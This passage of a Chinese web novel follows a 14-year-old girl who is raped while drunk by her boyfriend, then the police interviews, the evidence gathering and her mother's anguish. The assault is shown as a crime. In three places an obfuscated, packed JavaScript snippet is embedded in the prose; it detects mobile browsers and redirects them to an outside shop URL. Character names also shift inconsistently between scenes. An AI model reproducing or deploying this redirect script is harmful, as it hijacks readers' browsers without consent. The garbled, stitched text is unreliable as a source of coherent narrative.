“你听我说完。” “我不听!你放开我!” 她挣着,喊着,眼泪流了满脸。 手机又响了。 她看过去,是她的手机,屏幕亮着,显示着两个字:妈妈。 她扑过去,想拿手机。 陈文浩先一步抢走了。 “给我!” “小雨,你不能打。” “给我!” 她把手机抢回来,按亮屏幕。 七个未接来电。全是妈妈。 她想拨回去,陈文浩又把手机抢走了。 “你干什么?给我!” “你不能打。” “我为什么不能打?你对我干了那种事,我不能告诉我妈?” 陈文浩的脸变了。 变得她认不出来。 “你打给你妈,她会报警。报警我就完了。” “你完了?你对我干那种事,你活该!” 她又去抢手机。 周辰把她推开。 她摔在床上,爬起来,又冲过去。 这回周辰没让她抢到。他把她按在床上,一只手按住她的脖子,一只手拿着手机。 “你冷静点。” “你放开我!” “你听我说。” “我不听!你放开!” 他按得更用力了。 她喘不上气,脸憋得通红。 “你答应我不报警,我就放开。” 她瞪着他,不说话。 “答应不报警?” 她还不说话。 他又加了一点力。 她感觉眼前开始发黑。 “……好。” 他松开手。 她趴在床上,大口喘气,咳嗽,眼泪糊了一脸。 周辰站在床边,看着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347241|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “妍妍,我喜欢你。你知道的。” 她没说话。 “今晚的事,是我不好。但你喝多了,我也喝多了。咱俩都有错。” 她抬起头,看着他。 “我喝多了?我喝多了你就干这种事?” “我不是那个意思。” “那你是什么意思?” 陈文浩不说话了。 她把衣服穿上,一件一件,慢慢穿。手还在抖,但她努力控制着。 穿好了,她站起来。 “手机给我。” 陈文浩看着她。 “我回家。不报警。” 周辰犹豫了一下,把手机递过来。 她接过手机,往门口走。 走到门口,她回头看了他一眼。 那张脸,她再也不想看见了。 她拉开门,走出去。 外面是一条走廊,两边都是门。她不知道这是哪里,只看见走廊尽头有个电梯。 她走过去,按电梯。 电梯来了,她进去,按一楼。 电梯往下走,她的眼泪往下流。 到了一楼,她走出去。 大堂很亮,有沙发,有茶几,有前台。前台的小姑娘看了她一眼,又低下头。 她走出大门。 外面天黑了,路灯亮着,街上没有人。 她站在那儿,不知道自己在哪。 手机又响了。 她拿起来看,是妈妈。 她接了。 “喂?” “小妍?你在哪?我打了十几个电话你怎么不接?” 她张了张嘴,没说出话。 “小妍?说话!” “妈……” 就这一个字,眼泪又下来了。 “怎么了?你在哪?” “我不知道。” “什么叫不知道?你不是去林悦家了吗?” 她不说话。 “小妍?你说话啊!” 她蹲下来,蹲在路边,哭了。 “妈,我……我不知道我在哪。” 电话那头沉默了几秒。 “你等着,我报警。” “妈……” “别怕,妈在。” 电话挂了。 她握着手机,蹲在那儿,哭得浑身发抖。 风吹过来,冷的。 她缩成一团。 等着。 不知道过了多久,远处有警笛声响起。 越来越近。 越来越亮。 她抬起头,看见红蓝的灯光在夜色里闪烁。 然后她看见一辆车停下来,门打开,一个人冲下来。 是妈妈。 妈妈跑过来,一把抱住她。 “小妍!小妍!” 她靠在妈妈怀里,哭得说不出话。 妈妈抱着她,手在抖。 “别怕,妈在。妈在。” 警车的灯还在闪。 有人走过来,问什么,说什么。 她听不清。 她只知道,妈妈来了。 她安全了。 林小满抱着女儿,手在抖,心在抖,整个人都在抖。 但她没哭。 她不能哭。 她要撑住。 “小妍,你告诉妈妈,发生什么事了?” 女儿不说话,只是哭。 林小满抬起头,看着走过来的警察。 “警察同志,我女儿……可能被欺负了。” 警察点点头。 “我们知道了。先带她去派出所,慢慢说。” 林小满扶着女儿站起来,往警车走。 走了两步,女儿突然站住了。 “妈。” “嗯?” “是陈文……。陈文浩干的。” 林小满的手攥紧了。 “他还打我。按着我脖子,不让我打电话。” 林小满的眼泪终于下来了。 但她没出声。 只是把女儿抱得更紧。 “不怕。妈在。妈在。” 警车开动了。 红蓝的灯光还在闪。 夜很深了。 街上没有人。 只有她们。 和那些还没亮的天。 24. 命运循环23 林妍不知道自己在警车上坐了多久。 她靠在妈妈怀里,浑身还在抖。妈妈的手一直放在她背上,轻轻地拍,像小时候哄她睡觉那样。但那双手也在抖,她知道。 警车停在一个她没来过的地方。不是派出所,是一栋单独的楼,门口挂着牌子,她没看清。 “这是哪儿?”她问。 “未成年被害人一站式办案中心。”前面的女警察回过头,声音很轻,“别怕,这里专门给未成年人用的,没有外人。” 车门打开,她跟着妈妈下车。 楼里面很安静,灯光是暖黄色的,不像电视里那种冷冰冰的派出所。墙上贴着一些画,有卡通人物,有向日葵,还有一些字——“别怕,我们在这里”。 她们被带到一间屋子里。屋子不大,有一张沙发,一张桌子,几把椅子。墙角有一盆绿植,叶子绿油油的。窗帘拉着,看不见外面。 “你们先坐。”女警察倒了杯水递给她,“喝点水,缓缓。” 林妍接过来,手还在抖,水洒出来一点。 妈妈接过杯子,喂她喝。 门开了,进来两个人。一个穿着白大褂的阿姨,还有一个年轻的女警察。 “林妍是吧?”穿白大褂的阿姨走过来,蹲在她面前,“我是医生,来给你检查一下身体。可能会有点不舒服,但阿姨尽量轻一点,好吗?” 林妍看着妈妈。 妈妈点点头。 “我陪你去。” 隔壁是一间检查室,有床,有仪器,灯很亮。医生让她躺下,用棉签在她身上擦,取了一些样本。还拍了照片,把她身上那些青紫的痕迹都拍下来。 “疼不疼?”医生问。 她摇头。 “这些伤,是那个人弄的吗?” 她点头。 医生看了她一眼,那眼神她说不清是什么。心疼?还是别的什么? “好了,检查完了。”医生把东西收好,“你可以去隔壁休息一下,待会儿会有警察阿姨问你一些问题。别怕,如实说就行。” 她回到刚才那间屋子,坐下。 过了一会儿,进来两个女警察。一个年轻一点,一个年纪大一点,看起来像妈妈那么大。年纪大的那个在她对面坐下,年轻的那个坐在旁边,拿出本子和笔。 “林妍,我叫周警官,是专门负责未成年人案件的。”年纪大的那个开口,声音很温和,“待会儿我问你一些问题,你慢慢说,不用着急。如果不想说,可以不说。如果累了,可以休息。好吗?” 林小雨点点头。 “根据法律规定,询问未成年被害人,需要有合适成年人在场。”周警官看向林小满,“你是孩子的母亲?” 林小满点头。 “好。另外,全程我们会同步录音录像,这是为了保护你的权益,防止以后有人翻供或者抵赖。你同意吗?” 林小雨又点点头。 周警官示意了一下,年轻警察按下一个按钮,墙角的红灯亮起来。 “开始记录。”年轻警察说。 周警官看着林小雨,眼神很专注。 “小雨,我们先从最基本的情况说起。你叫什么名字?今年多大?” “林小雨,十四岁。” “你在哪个学校上学?几年级?” “三中,初三。” “好。”周警官在本子上记了几笔,“昨天晚上,你去了哪里?” 林小雨的手又开始抖。 妈妈握住她的手。 她深吸一口气。 “我去参加……参加一个生日聚会。” “谁的生日聚会?” “周辰。我……我男朋友。” 周警官没说话,只是点点头,示意她继续。 “在哪儿?” “一个酒吧,我不认识路,是打车去的。” “酒吧叫什么名字?” “我不知道。门口有灯,亮亮的,我没看清。” “好。到了酒吧之后呢?” 林妍开始说。 说她进门,说包间里很多人,说那些人叫她嫂子,说给她敬酒。说那个叫小美的女孩,说那些一瓶一瓶递过来的酒。 “你喝了多少?” “我不知道。很多瓶。果酒,啤酒,还有别的。” “是你自己愿意喝的,还是他们劝你喝的?” “他们劝的。我说我不会喝,他们说不喝不给面子,说不喝就是看不起寿星。然后我就喝了。” 周警官点点头,继续记。 “喝完酒之后,你是什么感觉?” “头晕,想吐,看不清东西,动不了。” “还有意识吗?” “有一点,但很模糊。我知道有人在扶我,但我睁不开眼,也说不出话。” “你知道是谁扶的你吗?” “周辰。” “你确定吗?” “确定。我听他说话了。” “他说什么?” “他说‘没事,我送她回去’。然后就有人把我架起来,往外走。后来上车,再后来就到了一个地方,有床,有白色的被子。” “那是哪儿?” “我不知道。后来才知道是酒店。” 周警官停顿了一下,看着她。 “小妍,接下来的问题可能有点难回答。但你要如实说,好吗?” 林妍点头。 “在酒店房间里,发生了什么?” 林妍的眼泪流下来。 妈妈握紧她的手。 “他……他脱我衣服。” “你反抗了吗?” “我想反抗,但动不了。我想喊,喊不出来。我什么都不知道,只知道他在我身上。” “你当时是清醒的吗?” “不清醒。但有一点点知道在发生什么。我想让他停,但说不出来。” 周警官在本子上记着,手很稳。 “后来呢?” “后来我手机响了。好多遍。他挂了。然后我就醒了。” “醒了之后呢?” “我看见他坐在床边,我没穿衣服。我知道发生了什么。” “你当时什么反应?” “我问他干什么了。他说没忍住。我说我要回家。他不让我走,抢我手机。我妈妈打电话来,他挂了。我要抢回来,他按着我脖子,不让我动。” 林妍抬起手,指了指自己的脖子。 周警官凑近看了看。 “有淤青。”她对旁边的年轻警察说,“拍照固定。” 年轻警察站起来,拿着相机过来,拍了几张。 “他按了多久?”周警官问。 “不知道。就一会儿,但我喘不上气。” “他有没有说别的?” “他说让我不要报警。说只要我不报警,就放我走。我答应了,他才放开我。” 周警官点点头。 “然后呢?” “然后我穿衣服,出来,下楼,在路边给我妈妈打电话。后来警察就来了。” 周警官把本子放下,看着她。 “小妍,我问你几个关键的问题,你要想清楚再回答。” 林妍点头。 “你跟陈文浩发生性关系,是你自愿的吗?” “不是。” “当时你醉酒不清醒,他趁你醉酒的时候发生关系,你同意了吗?” “没有。我不知道。我什么都不知道。” “后来你醒了,你明确表示不同意,但他用暴力阻止你离开,对吗?” “对。” 周警官在本子上写下几个字,然后抬起头。 “小妍,你说的这些,都属实吗?” “属实。” “你愿意在笔录上签字确认吗?” “愿意。” 周警官示意年轻警察打印笔录。打印机嗡嗡响起来,一页一页纸吐出来。 周警官把笔录递给林小雨。 “你看看,有没有不对的地方。如果有,可以改。” 林小妍接过来,一行一行看。 那些字,把她刚才说的话都记下来了。清清楚楚,一句不落。 她看到最后,拿起笔,在每一页上签了自己的名字。 签完最后一页,她放下笔,抬起头。 周警官看着她,眼神里有种东西。 “小妍,你很勇敢。” 林妍的眼泪又流下来。 隔壁询问室。 陈文浩坐在椅子上,对面是两个男警察。 一个年纪大点,姓刘,是刑警队的。一个年轻点,在记录。 刘警官看着他,也不说话,就那么看着。 陈文浩低着头,不看他。 “陈文浩,是吧?” “嗯。” “十七岁?” “嗯。” “知道为什么带你来这儿吗?” 陈文浩不说话。 刘警官把手机推到他面前。 屏幕上是一张照片,林妍的脖子,淤青的痕迹清清楚楚。 “这是她脖子上留下的。你弄的?” 陈文浩看了一眼,又低下头。 “我问你话呢。” “……我推了她一下。” “推了一下?推一下能成这样?” 陈文浩不说话了。 刘警官把手机收回来,靠在椅背上。 “行,咱们慢慢说。昨天晚上,你在哪儿?” “酒吧。过生日。” “都有谁?” “几个朋友。” “叫什么名字?” 陈文浩报了几个名字。刘警官一一记下来。 “那个女孩呢?林小雨,是你什么人?” 陈文浩顿了一下。 “女朋友。” “女朋友?你们谈恋爱多久了?” “一个多月。” “她昨晚怎么去的?” “我让她去的。” “她自愿去的?” “自愿。” 刘警官点点头,在本子上记了几笔。 “在酒吧,她喝酒了吗?” “喝了。” “喝多少?” “几瓶吧。” “她酒量怎么样?” “不知道。她第一次喝。” “第一次喝,你就让她喝那么多?” 陈文浩不说话了。 刘警官看着他,眼神有点冷。 “喝完酒之后,她什么状态?” “……喝多了。” “喝多了是什么意思?清醒还是不清醒?” “不清醒。” “不清醒到什么程度?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347242|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈文浩低着头,不说话。 “我问你话呢。” “……站不住,走不了。” “那你怎么送她走的?” “我扶着她。” “扶着她去哪儿?” “酒店。” “去酒店干什么?” 陈文浩又不说话了。 刘警官等了他几秒。 “我问你,去酒店干什么?” “休息。” “休息?她喝成那样,你带她去酒店休息?” “我没地方去。” “没地方去就可以带去酒店?你知道她喝醉了吗?你知道她不清醒吗?” 陈文浩低着头,不说话。 “在酒店里,你对她做了什么?” 沉默。 “说话。” “……发生关系了。” “是她自愿的,还是你强迫的?” 陈文浩抬起头。 “她是我女朋友,我们谈恋爱,发生关系不是很正常吗?” 刘警官看着他,看了几秒。 “正常?她喝得不省人事,站都站不住,这叫正常?” 陈文浩不说话了 “后来呢?她醒了之后,发生了什么?” 周辰又不说话。 刘警官把手机又推过来。 “她脖子上的伤,怎么来的?” “……我按的。” “为什么按她?” “她要抢手机,打电话给她妈。” “她为什么打电话给她妈?” 陈文浩低着头。 “我问你,她为什么打电话给她妈?” “……她不高兴了。” “不高兴什么?” “不高兴发生关系。” 刘警官盯着他。 “她不高兴发生关系,说明什么?” 陈文浩不说话。 “说明她不愿意。说明她当时不清醒。说明这不是你情我愿的事。你明白吗?” 周辰还是不说话。 刘警官往后靠了靠。 “陈文浩,你知道什么叫□□吗?” 他抬起头。 “我没□□她。她是我女朋友。” “女朋友?”刘警官冷笑一声,“女朋友醉酒不清醒的时候,你跟她发生关系,这叫什么你知道吗?这叫‘违背妇女意志’。不管你们是什么关系,只要她当时没有同意能力,你做了,就是□□。” 他的脸瞬间就发白了的。 “还有,她醒了之后明确表示不同意,你用暴力阻止她离开,这叫什么?这叫‘暴力胁迫’。你按她脖子,不让她打电话,不让她走,这是非法拘禁,是暴力。” 陈文浩的手开始抖。 刘警官站起来,走到他面前,居高临下看着他。 “你现在最好老实交代。态度好,将来法院量刑的时候还能考虑从轻。态度不好,抵赖狡辩,到时候罪加一等。” 他张了张嘴,没说出话。 门开了,进来一个女警察,在刘警官耳边说了几句。刘警官点点头,看了周辰一眼。 “隔壁问完了。林小雨说的,跟你说的,可不一样。” 此时男孩的脸色更难看了。 “她说什么了?”他问。 刘警官没回答。 他只是坐下来,拿起笔。 “现在,重新问一遍。昨天晚上,到底发生了什么?” 询问结束后,林妍和妈妈被带到另一间屋子休息。 有人送来了热水,还有面包。林妍吃不下,妈妈逼着她吃了两口。 过了一会儿,周警官走进来。 “小妍妈妈,你出来一下,我跟你说几句话。” 林小满跟着她出去,在走廊里站住。 周警官看着她,眼神很复杂。 “孩子说的,我们都记录下来了。那个男的,也会被问话。如果证据确凿,会对他采取强制措施。” 林小满点头。 “但是,我得跟你说实话。”周警官压低声音,“这种案子,证据是关键。我们现在有孩子的陈述,有身上的伤痕,有酒店监控——我们调了,确实看见他扶着一个不清醒的女孩进房间。这些是好的。” “那不好的呢?” 周警官沉默了一下。 “他没留下精斑。他说他用了避孕套,扔了。如果找不到,DNA证据就没了。另外,他肯定会说是自愿的,说是在谈恋爱。这种一对一的情况,最后就要看证据能不能形成完整链条。” 林小满的手攥紧了。 “我们尽力。但你要有心理准备。” 林小满看着她。 “我女儿说的是实话。” 周警官点点头。 “我知道。我们信。但要定罪,光信不行,得有证据。” 林小满没再说话。 她转身,回到屋里。 林妍坐在沙发上,抱着膝盖,看着她进来。 “妈。” “嗯?” “他会坐牢吗?” 林小满走过去,在她旁边坐下。 “不知道。但不管怎么样,妈都陪着你。” 林妍靠在她肩上。 窗外天快亮了。 灰白的光从窗帘缝里透进来。 新的一天要开始了。 25. 命运循环24 从警察局出来的时候,天已经亮了。 林小满叫了辆车,扶着女儿坐进去。一路上两人都没说话。林小雨靠在车窗上,看着窗外飞快后退的街景,眼睛红红的,但没有眼泪。林小满握着她的手,那只手冰凉冰凉的,一直没暖过来。 到家门口,林小满掏出钥匙开门。手抖得厉害,捅了好几下才捅进去。 门开了,屋里还是她们离开时的样子。客厅灯没关,沙发上扔着林小雨的书包,茶几上摆着没喝完的半杯水。 林妍走进去,站在客厅中央,像不知道接下来该干什么。 “去洗个澡。”林小满说,“洗完了睡一觉。” 孩子没动。 “小妍?” 她转过头,看着妈妈。 “妈。” “嗯?” “他……会怎么样?” 林小满愣了一下。 “什么怎么样?” “陈文浩。警察会把他怎么样?” 林小满看着她,看着这张还带着泪痕的脸,看着这双红红的眼睛。 “你问这个干什么?” “我就是想知道。” 林小满的火气一下子上来了。 “你想知道?你想知道他会不会坐牢?会不会判刑?会不会这辈子都毁了?” 林妍被她吼得往后退了一步。 “你吼我干什么?我就问问。” “问问?你问这个干什么?你还心疼他?” “我没有。” “你没有?那你怎么不问问他把你怎么样了?怎么不问问他干的事有多恶心?怎么不问问他你以后怎么办?” 林妍的眼眶又红了。 “我知道他干了什么。” “你知道?你知道你还问?” “我就是……我就是不想他坐牢。” 林小满愣住了。 “你说什么?” 林妍低着头,声音小小的。 “他……他就是一时糊涂。他喝多了。他不是故意的。” 林小满觉得脑子里嗡的一声。 “不是故意的?他把你灌醉,把你带去酒店,趁你不省人事干那种事,你跟我说不是故意的?” “他是我男朋友……” “男朋友?”林小满的声音尖起来,“男朋友就可以这样?男朋友就可以趁你喝醉□□你?” “他没□□我。” “没□□?那他干了什么?请你喝酒?送你回家?” 见女儿不说话了。 林小满走到她面前,盯着她的眼睛。 “你再说一遍,他没□□你?” 林妍抬起头,看着她,眼睛里有什么东西在闪。 “他说他喜欢我。他说过要对我好。他……他只是一时没控制住。” 林小满的手抬起来,想打她。 但她忍住了。 那只手在半空中抖,抖得厉害。 “你知不知道你在说什么?” 林妍看着她,不说话。 “他把你害成这样,你还在替他说话?你脖子上的印子是谁掐的?你身上的伤是谁弄的?你昨天晚上哭着给我打电话的时候,是谁把你害成那样的?” 林妍的眼泪流下来 “我知道他不对。但他不是故意的。他就是一时冲动……” “一时冲动?”林小满打断她,“一时冲动就能干这种事?那他下次再冲动呢?再把你打一顿?再□□你一次?” “他不会的。” “你怎么知道?” “他说过他会改。” 林小满简直不敢相信自己的耳朵。 “他说他会改?你就信?你知不知道我当年也信过这种话?你知不知道当年那个男的也说过会改?后来呢?后来他改了吗?” 林妍愣住了。 “后来他出轨,他打人,他把我和刚出生的你扔在家里,自己跑了。你知不知道那些年我怎么过的?” 林小满的眼泪终于下来了。 “我一个人,带着你,从早干到晚,从黑干到白,一分钱掰成两半花。你生病我抱着你跑医院,你饿了我省着自己的饭给你吃,你想爸爸了我骗你说他在外地打工。你知道我多少次想死吗?你知道我为什么没死吗?因为你。” 林妍张着嘴,说不出话。 “我拼了命把你养大,不是为了让你被这种人糟蹋的。我拼了命保护你,不是为了让你替他说话的。” 林小满伸手,指着门口。 “你现在跟我说,他一时冲动?他说他会改?你信?” 林妍不说话。 “说话!” “我不知道。” “不知道?你刚才不是挺能说的吗?” 林妍低下头,眼泪滴在地上。 林小满看着她,看着她抖动的肩膀,看着她缩起来的身体。 她突然觉得很累。 累得不想再吵了。 “你去洗澡吧。” 她转身,走进自己屋,把门关上。 林妍站在原地,站了很久。 然后她走进卫生间,把门锁上。 水声哗哗地响起来。 她蹲在淋浴头下面,让热水从头顶冲下来。 冲了很久。 冲到她不知道自己哭了没有。 林小满在屋里躺着,盯着天花板。 天花板上什么都没有,就是白白的。 她想起很多年前,自己也这样躺过。 那时候她十五岁,刚刚打掉孩子,一个人躺在出租屋里。肚子疼,心里疼,哪儿都疼。她妈打电话来骂她,骂她不要脸,骂她丢人现眼。她爸在旁边叹气,一句话不说。 没有人问她疼不疼。 没有人问她怕不怕。 没有人问她以后怎么办。 她现在不想让女儿也这样。 但她不知道怎么办。 她只会吵,只会骂,只会锁门。 她学的就是这些。 从她妈那儿学的。 从她那破生活里学的。 门外传来开门的声音。 她坐起来,走出去。 女儿已经洗完澡了,穿着睡衣,站在客厅里,头发湿漉漉的。 “妈。” 林小满看着她。 “我去睡觉了。” 林妍说完,走进自己屋,把门关上了 林小满站在客厅里,看着那扇关上的门。 她想去敲门。 想说我爱你。 想说对不起。 想说我害怕你变成我。 但她没去。 她只是站在那儿,站了很久。 然后去上班。 下午,奶奶来了。 林小满打电话叫的。 她实在没办法了。 奶奶进屋的时候,林妍还在屋里没出来。门关着,一点声音都没有。 “怎么样了?”奶奶问。 林小满摇摇头。 “从昨晚到现在,没吃东西?” “没。” 奶奶走过去,敲门。 “妍妍,奶奶来了。开门。” 没声音。 “妍妍?” 还是没声音。 奶奶回头看了林小满一眼。林小满走过来,用钥匙开了门。 门开了,林妍躺在床上,背对着门。 奶奶走进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347243|199532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在床边坐下。 “妍妍。” 林妍没动。 奶奶伸手,摸了摸她的头发。 “奶奶听说你的事了。” 林妍的肩膀抖了一下。 “别怕,奶奶在呢。” 林妍翻过身,看着奶奶。 眼睛肿得像桃,脸惨白惨白的。 “奶。” “嗯。” “我不想他坐牢。” 奶奶的手顿了一下。 “为什么?” “他是我男朋友。他对我好过。” 奶奶看着她,看了很久。 然后她叹了口气。 “傻孩子。” 林妍的眼泪又流下来。 奶奶伸手,给她擦掉顺带扶她起来,带她去客厅。 林小满在厨房,已经做好了饭。红烧肉,炒青菜,西红柿蛋汤。都是林妍爱吃的 她把饭端上桌,没说话。 林妍坐下,拿起筷子,慢慢吃。 吃了两口,眼泪掉进碗里。 她也没擦,就那么吃。 林小满在旁边看着,眼眶红红的。 奶奶坐在中间,看看这个,看看那个。 吃完饭,林妍又回屋了。 林小满收拾碗筷,洗碗。 奶奶走过来,站在旁边。 “警察那边怎么说?” 林小满关上水龙头,擦干手。 “说初步立案了,要调查。让注意孩子的情绪。” 奶奶点点头。 “你也别太急。慢慢来。” 林小满没说话。 奶奶叹了口气,走了。 晚上,林小满坐在客厅里,看着女儿那扇关上的门。 手机震了一下。 她拿起来看,是周警官发的消息。 “案子已经立案了。证据收集正在进行。那个男的在派出所,一直说是自愿的。我们会继续查。有进展通知你。” 林小满回了一个“好”。 放下手机,继续坐着。 屋里很安静。 安静得能听见自己的心跳。 她看着那扇门,想着里面的女儿。 十四岁。 跟她当年一样。 她突然想起一句话。 那句话是她妈当年骂她的: “你以后就知道了。” 她现在知道了。 但她宁愿不知道。 夜越来越深。 窗外的路灯亮着,黄黄的光透进来。 她站起来,走到女儿门口,站了一下。 抬起手,想敲门。 又放下了。 转身回屋,躺下。 睡不着。 盯着天花板。 天花板还是白的。 什么都没有。 但好像有一条裂缝。 从墙角,一直延伸到灯座。 像一条河。 她沿着那条河,又走回了十四岁。 走回了那些不想记起的日子。 然后她听见手机响了。 拿起来看,是周警官的又一条消息。 “有个情况跟你说一下。那个男的,他说……” 消息没显示完。 她点进去。 屏幕上转着圈,一直转。 然后黑了。 没电了。 她爬起来找充电器。 手在抖。 她不知道那条消息说的是什么。 但她有不好的预感。 窗外路灯灭了。 屋里一片漆黑。 她站在黑暗里,握着手机,等着它开机。 26. 命运循环25 林小满那一夜没睡。 手机充上电后,周警官的消息跳出来:“有个情况跟你说一下。那个男的,他说是恋爱关系,自愿的。明天我们会去学校、酒吧调查取证。有进展通知你。” 她盯着这行字,看了很久。 恋爱关系。自愿的。 这四个字像针一样扎在她心上。 她知道女儿喜欢那个男的。知道女儿不想让他坐牢。知道女儿说过“他是我男朋友”。 但那是□□。 趁人喝醉,不清醒,不知反抗,不能反抗——那是□□。 她躺下,闭上眼,脑子里乱成一团。 天亮的时候,她起来,去女儿门口站了一下。 门关着,没声音。 她去上班。 第二天,周警官的电话来了。 “林小满妈妈,方便说话吗?” 她站起来,走到楼梯间。 “方便。” “我们这两天调查了。学校、酒吧、出租车司机,还有当晚参加聚会的那些人。情况基本查清了。有个事想跟你通个气。” 林小满的心提起来。 “您说。” “证据显示,当天晚上你女儿确实是醉酒状态,意识不清。出租车司机证实,上车的时候她已经是被人架着的,叫不醒。酒店监控也显示,她是被男孩半拖半抱弄进房间的。这些都能证明她当时不具备性同意能力。” 林小满握着手机的手在抖。 “那些聚会的呢?他们怎么说?” “问了。一共七个人,四男三女。我们分别做的笔录。”周警官顿了顿,“刚开始都不说实话,说就是普通聚会,喝酒唱歌。后来我们分开问,有一个女孩扛不住了,说了实话。” “说什么?” “她说那个陈文浩,提前跟他们打过招呼。说晚上要把女朋友灌醉,让他们配合。那几个男的轮流敬酒,就是要把林小雨灌得不省人事。那个女孩说,她当时觉得不对劲,但没敢说。” 林小满的眼泪下来了。 “所以他是故意的?” “从目前证据看,有预谋的可能性很大。”周警官的声音很稳,“另外,我们调了周辰的手机记录。聚会前几天,他在网上搜过‘怎么把女朋友灌醉’、‘酒后发生关系算不算□□’这些词。这些证据都会移交检察院。” 林小满说不出话。 “还有,那个出租车司机,我们找到了。他说那天晚上印象很深,因为那女孩喝得太醉了,他还多看了两眼。他说那女孩全程没睁眼,叫都叫不醒。这个证言很关键,能证明林小雨当时的状态。” “那……那案子能定吗?” 周警官沉默了一下。 “证据链基本完整。有被害人陈述,有证人证言,有监控录像,有手机搜索记录,还有身上的伤痕。虽然周辰一直说是自愿的,但客观证据摆在那儿,他抵赖不了。” 林小满听到这里,腿有点软,靠在墙上。 “那接下来怎么办?” “我们准备把案件材料整理好,移交检察院审查起诉。检察院会决定是否提起公诉。这个过程可能需要一段时间,你们耐心等。” “他会坐牢吗?” “这个要法院判。但根据法律规定,□□罪基本刑是三年以上十年以下。他是未成年人,会从轻或者减轻处罚。但因为是性侵未成年人,又是预谋犯罪,应该不会轻判。” 林小满点点头,虽然周警官看不见。 “周警官,谢谢您。” “应该的。”周警官顿了一下,“还有件事,你心里有个准备。周辰的父母一直嚷嚷着说两个孩子是谈恋爱,不算□□。他们可能会来找你们,说情也好,施压也好。你们别理,也别私下接触,有事让他们找我们。” “我知道。” 挂了电话,她站在楼梯间里,哭了很久。 哭完,擦干眼泪,回去上班。 第三天,男方的父母来了派出所。 刘警官把他们请进办公室,倒了两杯水。 陈文浩的父亲是个黑瘦的男人,穿着旧夹克,手上有茧子,一看就是干体力活的。母亲胖一点,烫着卷发,眼眶红红的,应该是哭过。 “刘警官,我儿子怎么样了?”周父问。 “还在审查。今天叫你们来,是把调查情况跟你们通个气。” 刘警官坐下,翻开卷宗。 “我们这几天走访了学校、酒吧、出租车司机,还有当晚参加聚会的所有人。证据基本齐了。” 陈母急着问:“那到底咋回事?我儿子说是谈恋爱,是自愿的。那女孩是他女朋友,他俩处对象呢。” 刘警官看着她,不紧不慢地开口。 “大姐,我问你几个问题。” “你问。” “你知道那天晚上,你儿子是怎么把那女孩弄到酒店的吗?” 她愣了一下。 “他……他送她回去呗。” “送她回去?那女孩喝得烂醉如泥,站都站不住,是被你儿子架着进去的。酒店监控拍得清清楚楚。这叫送她回去?” 她不说话了。 “你知道你儿子在聚会前几天,上网搜过什么吗?搜‘怎么把女朋友灌醉’,搜‘酒后发生关系算不算□□’。这叫谈恋爱?” 陈父的脸色变了。 “刘警官,你这是啥意思?” “我的意思是,这不是简单的恋爱发生关系。这是有预谋的,趁人醉酒不清醒的时候,违背妇女意志发生性关系。这叫□□。” 周母的眼泪下来了。 “不可能!我儿子不是那种人!他从小老实,不会干那种事!” 刘警官看着她,没说话。 陈父在旁边开口了,声音沉沉的。 “刘警官,那女孩是我儿子的女朋友,这没错吧?他俩处对象,发生关系,不是很正常吗?咋就成□□了?” 刘警官点点头,从抽屉里拿出一本小册子,翻开,推到他们面前。 “这是《刑法》条文,我给你们念一段。” 他清了清嗓子。 “第二百三十六条,以暴力、胁迫或者其他手段□□妇女的,处三年以上十年以下有期徒刑。” 他抬起头。 “什么叫‘其他手段’?包括趁妇女醉酒、熟睡、患病等不知反抗、不能反抗的状态,强行发生性关系。法律上,这叫‘违背妇女意志’。” 他们二人都皱着眉头。 “可他们是恋爱啊。恋爱发生关系,怎么算违背意志?” “问得好。”刘警官合上本子,“我问你们,那女孩当天晚上喝了多少酒?” 他们摇摇头。 “我们问了,七个人,四男三女,轮番给她敬酒。她一个十四岁的女孩,第一次喝酒,被灌了至少五六瓶啤酒。这叫什么事?” 二人沉默不说话了。 “她喝成那样,意识不清,站都站不住,叫都叫不醒。这种情况下,她有能力同意吗?她有意志吗?” 刘警官的声音高了一点。 “法律上,这叫‘无性同意能力’。不管她平时是不是他女朋友,不管她愿不愿意,只要当时她不清醒,不具备同意的能力,发生关系就是□□。” 陈母哭着说:“可她是我儿子的女朋友啊……” “女朋友也不行。”刘警官斩钉截铁,“恋爱关系不是免罪金牌。只要违背妇女意志,就是□□。哪怕结了婚,只要女方当时不同意,婚内也是□□。” 陈父沉默了。 陈母只是哭。 刘警官等了一会儿,缓了缓语气。 “我知道你们心疼儿子。但事情已经发生了,证据摆在这儿。我们当警察的,得依法办事。” 陈父抬起头。 “那……那他会判几年?” “这个要法院定。但根据法律规定,□□罪基本刑是三年以上十年以下。他是未成年人,会从轻。但因为是有预谋的,又涉及未成年人,应该不会太轻。” 陈母哭着说:“他才十七岁啊……” 刘警官看着她,叹了口气。 